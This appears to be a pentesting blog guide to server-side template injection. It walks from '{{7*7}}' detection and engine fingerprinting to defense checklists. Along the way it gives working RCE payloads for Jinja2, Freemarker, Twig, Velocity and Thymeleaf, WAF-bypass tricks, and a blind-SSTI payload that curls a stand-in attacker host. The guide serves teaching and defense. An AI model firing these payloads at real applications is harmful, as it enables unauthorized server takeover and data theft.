August 14, 2026
Server-Side Template Injection (SSTI) to Remote Code Execution (RCE): A Visual Guide for Pentestersβ¦
π¬ The Scene: A βHarmlessβ Name Field
By Kondibajogdand
9 min read
π¬ The Scene: A "Harmless" Name Field
A user opens a profile page. There's a single field: Display Name.
They type: John
The page greets them: "Welcome, John!"
Nothing suspicious. Nothing broken. Just a normal web app doing normal web app things.
Now the user tries something different. Instead of a name, they type:
{{7*7}}{{7*7}}The page responds:
Welcome, 49!
That's it. That's the moment everything changes.
A math expression just got evaluated on the server. Not displayed as text β executed. And if the server will run 7*7 for you, the next question a pentester asks is simple:
What else will it run?
Twenty minutes later, that same field gives an attacker a reverse shell on the production server.
That escalation β from a name field to a shell β is what this guide is about.
π₯ Why SSTI Matters
Callout Box
SSTI is one of the most underestimated vulnerability classes in modern web apps β because it hides behind features developers actually rely on (dynamic emails, PDF generation, reports, chat bots, CMS themes).
A single unescaped template variable can lead to:
- ποΈ Data Theft β read config files, database credentials, environment secrets
- π Internal Access β pivot into internal networks, admin panels, SSRF chains
- βοΈ Cloud Compromise β steal cloud metadata credentials (AWS/GCP/Azure tokens)
- π» Full Server Takeover β arbitrary OS command execution as the app user
SSTI doesn't need SQL. It doesn't need a browser. It runs inside the application logic itself β which is exactly why it's so dangerous, and so often missed.
π§© Understanding Template Engines Visually
Template engines exist to make dynamic pages easy. Instead of hardcoding HTML, developers write templates with placeholders, and the engine fills them in at render time.
The danger appears when user input becomes part of the template itself, instead of just data inserted into it.
Figure 1 β How a Template Engine Works
Figure 2 β Safe Rendering vs Vulnerable Rendering
That one function choice β treating input as a template string rather than a template variable β is the root cause of almost every real-world SSTI bug.
π΅οΈ Spotting SSTI: The Detection Mindset
Before exploitation comes detection. Pentesters look for template syntax reflection, not just XSS-style reflection.
Figure 3 β SSTI Detection Flow
A classic first probe:
${7*7}
{{7*7}}
<%= 7*7 %>
${{7*7}}
#{7*7}${7*7}
{{7*7}}
<%= 7*7 %>
${{7*7}}
#{7*7}If any of these render as 49 instead of literal text, the input is being parsed as template syntax β a strong SSTI signal.
π Fingerprinting: Which Engine Am I Talking To?
Different engines use different syntax and expose different attack surfaces. Guessing wrong wastes time β so pentesters use a decision tree based on how each payload behaves.
Figure 4 β Engine Fingerprint Decision Tree
Quick Reference Table β Engine Fingerprints
Engine Language Test Payload Confirms Jinja2 Python {{7*'7'}} Returns 7777777 (string repeat) Twig PHP {{7*'7'}} Returns 49 (numeric coercion) Freemarker Java ${7*7} Returns 49 Velocity Java #set($x=7*7)$x Returns 49 Smarty PHP {$smarty.version} Reveals Smarty version ERB Ruby <%= 7*7 %> Returns 49 Pug/Jade Node.js #{7*7} Returns 49
This isn't guesswork β it's a fast, repeatable triage process.
βοΈ The Escalation Path: From Math to RCE
This is the heart of SSTI exploitation β and where most write-ups get too shallow, too fast. Confirming {{7*7}} = 49 proves code executes. It does not prove you control the OS. Getting from one to the other is a deliberate, multi-stage climb, not a single magic payload.
Figure 5 β The Four Tiers of SSTI Impact
Every SSTI finding lands somewhere on this ladder. Pentesters climb it one rung at a time; developers should assume an attacker will reach the top unless the engine is sandboxed.
Most bug bounty triagers stop at Tier 2 and call it "high severity." A pentester's job is usually to prove Tier 4 is reachable, because that's what changes a client's remediation priority from "next sprint" to "today."
Why Object Traversal Works At All
Template engines don't hand you os.system() directly β that would be an obvious red flag. Instead, they expose template objects (config, request, self, string helpers) that are supposed to be safe. The exploit technique is to walk from that safe object, through the language's own introspection features, until you reach something dangerous.
This works because Python, Java, and Ruby all expose reflection β the ability for code to inspect and call other code at runtime. Template sandboxes try to block direct access to dangerous modules, but reflection lets an attacker reach them indirectly, through objects the sandbox never thought to restrict.
π Case Study 1 β Jinja2 (Python / Flask), Full Chain
A vulnerable Flask app:
@app.route('/greet')
def greet():
name = request.args.get('name')
template = f"Hello {name}!"
return render_template_string(template)@app.route('/greet')
def greet():
name = request.args.get('name')
template = f"Hello {name}!"
return render_template_string(template)Escalation, rung by rung:
Step 2 alone is often enough for a bug bounty report β {{config}} frequently leaks the Flask SECRET_KEY, database URIs, and API tokens without needing to go any further.
The full RCE payload (a widely documented, public Jinja2 SSTI pattern used across OWASP and pentest training material):
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}Read left to right, this is doing exactly what Figure 5's diagram shows:
configβ a trusted Flask object available in every template.__class__β get its type.__init__.__globals__β reach into the global namespace where that class was defined['os']β Python conveniently already imported theosmodule there.popen('id').read()β spawn a process and read its output
A common filter-bypass variant, used when config isn't available or is blocked by a WAF, walks through subclasses instead:
{{ ''.__class__.__mro__[1].__subclasses__() }}{{ ''.__class__.__mro__[1].__subclasses__() }}This returns a huge list of every class currently loaded in the Python process. An attacker searches that list for something like subprocess.Popen, notes its index, and calls it directly:
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}The index number changes per environment β which is why real exploitation is iterative, not copy-paste.
β Case Study 2 β Freemarker (Java)
Java engines don't have Python's __globals__ trick, but they expose their own reflection utilities as built-ins.
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}Breaking this down:
?new()β Freemarker's built-in for instantiating a Java class by string nameExecuteβ a utility class Freemarker ships that runs OS commands${ex("id")}β calls it, passingidas the command
Where Execute is disabled (hardened configs), attackers pivot to ObjectConstructor, which can instantiate any class on the classpath β including java.lang.ProcessBuilder:
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.utility.ObjectConstructor")?new()>
${owc("java.lang.ProcessBuilder","id").start()}<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.utility.ObjectConstructor")?new()>
${owc("java.lang.ProcessBuilder","id").start()}This is a strong illustration of a general rule: when the easy primitive is disabled, the sandbox usually still exposes the class loader itself β and the class loader can load anything.
π Case Study 3 β Twig (PHP / Symfony)
Twig's sandbox mode blocks direct function calls, so attackers lean on filters β legitimate Twig features that happen to accept a callable:
{{ ['id'] | filter('system') }}{{ ['id'] | filter('system') }}This tells Twig: "run the system function against each item in this array." filter() was designed for things like | filter('is_numeric') β nobody expected it to accept system as a callback until researchers pointed it out.
An alternative using map():
{{ ['id'] | map('system') }}{{ ['id'] | map('system') }}π Case Study 4 β Velocity & Thymeleaf (Java)
Velocity's reflection utility class exposes the same idea as Freemarker's Execute:
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))Thymeleaf (common in Spring apps) supports Spring Expression Language (SpEL) inside certain attributes, and a classic SpEL-to-RCE payload looks like this:
${T(java.lang.Runtime).getRuntime().exec("id")}${T(java.lang.Runtime).getRuntime().exec("id")}T(...) is SpEL's syntax for referencing a class by name β the same reflection idea as ?new() in Freemarker, just wearing different syntax.
Figure 6 β One Concept, Many Syntaxes
Once a pentester internalizes this β find the reflection primitive, use it to reach a process-spawning class β jumping between engines becomes a matter of syntax, not a new skill each time.
Comparison Table β Escalation Primitives by Engine
Engine Escalation Primitive Typical Target Jinja2 __globals__ / __mro__ / __subclasses__ object walk os, subprocess Twig filter() / map() callback abuse PHP system() Freemarker ?new() built-in / ObjectConstructor + class loader Java ProcessBuilder Velocity $class.inspect() reflection utility Java Runtime Thymeleaf SpEL T(...) class reference Java Runtime Smarty {php} tags (legacy versions only) Direct PHP execution ERB Backtick execution id Ruby Kernel#exec
The pattern is always the same: start from a trusted object β use the language's own reflection to traverse to something that spawns processes β execute.
π When You Can't See the Output: Blind SSTI
Not every SSTI reflects its result back to the attacker. A template might render server-side into an email, a PDF, or a log file the attacker never sees. This is blind SSTI, and it needs a different confirmation strategy.
Figure 7 β Blind SSTI Confirmation Flow
A Jinja2 example that doesn't print anything, but still proves execution by reaching out over the network:
{{ config.__class__.__init__.__globals__['os'].popen('curl http://attacker.oob/confirm').read() }}{{ config.__class__.__init__.__globals__['os'].popen('curl http://attacker.oob/confirm').read() }}If a request lands on the attacker's listener, RCE is confirmed β even though the application never showed a single character of output. This is the same out-of-band principle used in blind SQLi and blind XXE, just applied to templates.
π₯· A Note on WAF and Filter Bypasses
Production apps often have naive filters that block obvious strings like __globals__ or system. Attackers respond with well-known evasion patterns:
Blocked Pattern Common Bypass Technique _ character filtered String concatenation: {{ '_'*2 }}globals{{ '_'*2 }} os / system keyword filtered Attribute lookup via getattr/request['args'] indirection Brackets [ ] filtered Use .__getitem__() method calls instead Whole payload filtered Split across multiple template variables that concatenate at render time
These aren't exotic β they mirror the same "encode it differently" logic used in classic WAF bypass techniques for SQLi and XSS. The underlying lesson for developers is the same too: filtering strings is not a substitute for not compiling user input as a template in the first place.
π§ Why This Keeps Happening
Callout Box β The Real Root Cause
SSTI isn't usually a "the engine is broken" bug. It's a "user input was compiled instead of rendered" bug.
Developers reach for functions like
render_template_string(),Template(user_input), or string concatenation into template files β often for legitimate features like customizable email templates, dynamic reports, or theming.
Figure 6 β Where SSTI Hides in Real Apps
Any feature that lets users influence how content is rendered β not just what content is shown β is a candidate for review.
π SSTI vs XSS: Don't Confuse Them
Pentesters new to this bug class sometimes mistake SSTI for XSS, since both start with injecting into a rendered page.
Aspect XSS SSTI Executes in Victim's browser Application server Payload language JavaScript Template engine syntax Impact Session theft, phishing, defacement RCE, full server compromise Detection payload <script>alert(1)</script> {{7*7}} Fix Output encoding Never compile user input as template code
Same delivery point, radically different blast radius.
π‘οΈ Defense: Closing the Door
Secure Rendering Pattern
Developer Checklist
- β
Never pass raw user input into
render_template_string()or equivalent - β Use logic-less templates (e.g., Mustache) where user content must be dynamic
- β Sandbox template engines when dynamic templates are unavoidable
- β Apply strict allow-lists for any user-influenced template logic
- β Run least-privilege service accounts, so even a successful RCE has limited blast radius
- β Monitor for template syntax patterns ({{, ${, <%=) in input validation logs
Pentester Checklist
- β Test every free-text field with engine-specific math payloads
- β Fingerprint before exploiting β wrong payloads waste engagement time
- β Check PDF exports, email previews, and report generators β common blind spots
- β
Confirm impact safely (
id,whoami) before escalating further - β Document the full traversal chain for the client's dev team, not just the final payload
π§ The Full Picture
Figure 8 β End-to-End Attack Path
That's the whole journey β from a name field saying "Welcome, John!" to a confirmed shell β mapped in eight steps.
π― Closing Thought
SSTI sits in an uncomfortable middle ground: too code-like to be "just" a data validation bug, too data-like to be caught by traditional code review.
That's exactly why it deserves a spot on every pentester's checklist β and every developer's threat model.
The next time a text field feels too dynamic, remember: somewhere between {{7*7}} and 49, an application just told you it trusts your input a little too much.
Found this useful? Test it responsibly, only on systems you're authorized to assess, and always report findings through proper disclosure channels.